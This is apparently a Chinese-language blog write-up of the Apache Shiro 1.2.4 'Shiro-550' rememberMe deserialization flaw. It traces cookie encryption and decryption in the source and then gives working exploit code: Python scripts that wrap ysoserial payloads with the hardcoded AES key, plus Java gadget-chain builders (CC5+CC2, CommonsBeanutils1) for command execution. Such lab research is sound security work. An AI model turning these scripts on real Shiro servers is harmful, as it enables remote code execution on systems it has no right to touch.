Java反序列化Shiro篇01-Shiro550反序列化漏洞分析

<1> Shiro介绍

Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理

Shiro反序列化原理:Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞

<2> 环境配置

shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
war包地址:https://github.com/jas502n/SHIRO-550

  • jdk8u65
  • Tomcat 9
  • Shiro 1.2.4

配置tomcat:

tomcat的端口配置成 8081 这样后面用burp抓包时就不会冲突

启动tomcat 登录的 username 和 password 是 root 与 secret

我们登录时选择 Remember me 抓包

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段

<3> 漏洞分析

我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了

我们跟进去相关位置去看看Cookie的加密过程
在IDEA里 全局搜索 Cookie

shiro加密过程分析

入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法

这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看

这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法

F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals

再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)

进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法

它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密

跟进 看一下序列化的代码:

再跟进看一下 encrypt() 方法

调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC

所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥

再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的

一步步往上找

再找一下哪里定义的 encryptionCipherKey

再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法

AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方

这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量

base64解密即可得到密钥

后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密

返回加密的序列化字节流 到rememberIdentity()方法
下一步调用rememberSerializedIdentity()方法:

进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段

这就是我们前面勾选rememberme的话,rememberMe字段的由来

shiro解密过程

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点

追溯到 AbstractRememberMeManager.convertBytesToPrincipals()

再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals

DefaultSecurityManager.getRememberedIdentity()开始分析

跟进 getRememberedPrincipals()方法

调用了 getRememberedSerializedIdentity() 方法

跟进重点看此方法

主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes

然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法

调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看

跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化

跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()

调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用

<4> 漏洞利用

加密脚本:

import base64
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
    popen = subprocess.Popen([r'java.exe路径', '-jar',r'ysoserial路径', 'URLDNS',command],stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = rememberme('http://wxafnplx.eyes.sh')
    print("rememberMe={}".format(payload.decode()))

(1) URLDNS链

注意 发包时如果登录过,要把sessionid去掉 否则会直接识别身份,而不会再去获取rememberMe

更改后再次发包,DNSlog处收到响应

(2) 利用CC2和CC4攻击(手动添加Commons-Collections 4.0依赖)

通过URLDNS链,我们验证成功存在反序列化漏洞 真正要利用的话,我们还是得去找一些可以rce的链子

我们看一下shiro自带的依赖,发现shiro中自带的是cc3.2.1版本的组件

所以我们会想到 可以利用CC6去打一下,弹一下计算器试试

利用加密脚本 + ysoserial生成CC6的payload 发送

并没有弹出计算器 看一下哪里出问题了

2023-07-27 19:26:43,928 WARN  [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
	at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)

问题发生在
org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)

我们来分析一下是什么原因:
这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream

shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象

而重写后的resolveClass方法,采用的是ClassUtils.forName

有什么区别呢???
ClassUtils.forName不支持传入数组

具体为什么不支持传入数组可以参考:https://blog.zsxsoft.com/post/35

因此传入一个Transform数组的参数,会报错

而cc2和cc4的利用链都是基于javassist去实现的,而不是基于Transform数组。因此可以利用,而cc2和cc4需要Commons-Collections 4.0的依赖

(3) 拼凑CC攻击(shiro原生CC3.2.1利用)

shiro是不自带Commons-Collections 4.0的依赖的,当然你遇到shiro的话也不可能自己去给他添加上去,那怎么办呢?没有Commons-Collections 4.0的组件就不能rce了吗?

其实方式还是有的,需要我们拼接一下各个CC链,去重新构造一下利用链

Transform数组用不了,即 利用链中的ChainedTransformer这个类利用不了,因为他的类属性iTransformers是数组类型的Transformers。

但是我们可以通过 InvokerTransformer.transform(templates) 去触发TemplatesImpl.newTransformer 进行恶意类加载rce

即利用CC2的后半段,我们来看一下CC2的调用过程

PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
*************************************************************
            -> InvokerTransformer.transform()
                -> TemplatesImpl.newTransformer()
                ->TemplatesImpl#getTransletInstance()
                ->TemplatesImpl#defineTransletClasses()
                  ->TransletClassLoader#defineClass()
                    -> Runtime.getRuntime().exec()
*************************************************************

在这条链上,由于TransformingComparator在Commons-Collections 3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的

因此需要改造一下,哪里还有地方可以构造调用到 InvokerTransformer.transform() 并且使 参数为构造好的TemplatesImpl对象。

我们找到了 LazyMap.get()方法

其中map、factory、key我们都可以控制,那么我们就可以将将构造好的TemplatesImpl对象 赋值给key,factory给Invokertransformer。从而与CC2后半段串起来了。

至于 哪条链中间会调用了LazyMap.get()

CC1、CC5、CC6都可以,并且他们适于 Commons-Collections 3.2.1组件,因此可以构造出好几条链子

这里拿CC5开刀

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC5_CC2_shiroexp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        byte[] code = Files.readAllBytes(Paths.get("evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("CC5_CC2_shiroexp.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

这里和上面还不同,这里序列化数据存储到了 .bin二进制文件,上面则是通过cmd 命令返回结果进行加密。

不过大体上差不多,稍微修改一下之前的python加密脚本

加密脚本:

import base64
import subprocess
from Crypto.Cipher import AES

def bin2rememberme(filepath):
    f = open(filepath,"rb")
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    f.close()
    return base64_ciphertext

if __name__ == '__main__':
    payload = bin2rememberme(r".bin文件路径")
    print("rememberMe={}".format(payload.decode()))

成功弹出计算器

(4) 原生Commons-Beanutils1链攻击

其实shiro自带依赖里,我么不仅可以看到 Commons-Collections 3.2.1 还存在Commons-beanutils1.8.3

可以利用shiro自带的CB依赖 打CB链进行rce

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        serialize(queue);
        unserialize("CB-bin/CB1.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

生成构造好的CB1链的二进制文件后后,利用加密脚本 得到rememberMe字段对应值

发包,弹出计算器

注意:

  • 用yso打shiro的CB链可能打不通

我们打一下试试

import base64
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
    popen = subprocess.Popen([r'java.exe', '-jar',r'ysoserial.jar', 'CommonsCollections2',command],stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    #print(popen.stdout.read())
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = rememberme('calc')
    print("rememberMe={}".format(payload.decode()))

tomcat报错了 原因是序列化与反序列化时 serialVersionUID定义的不同

Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

真相:版本问题 因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3

参考:
https://www.anquanke.com/post/id/192619#h2-3
https://blog.zsxsoft.com/post/35

posted @ 2023-07-28 00:10  1vxyz  阅读(565)  评论(0编辑  收藏  举报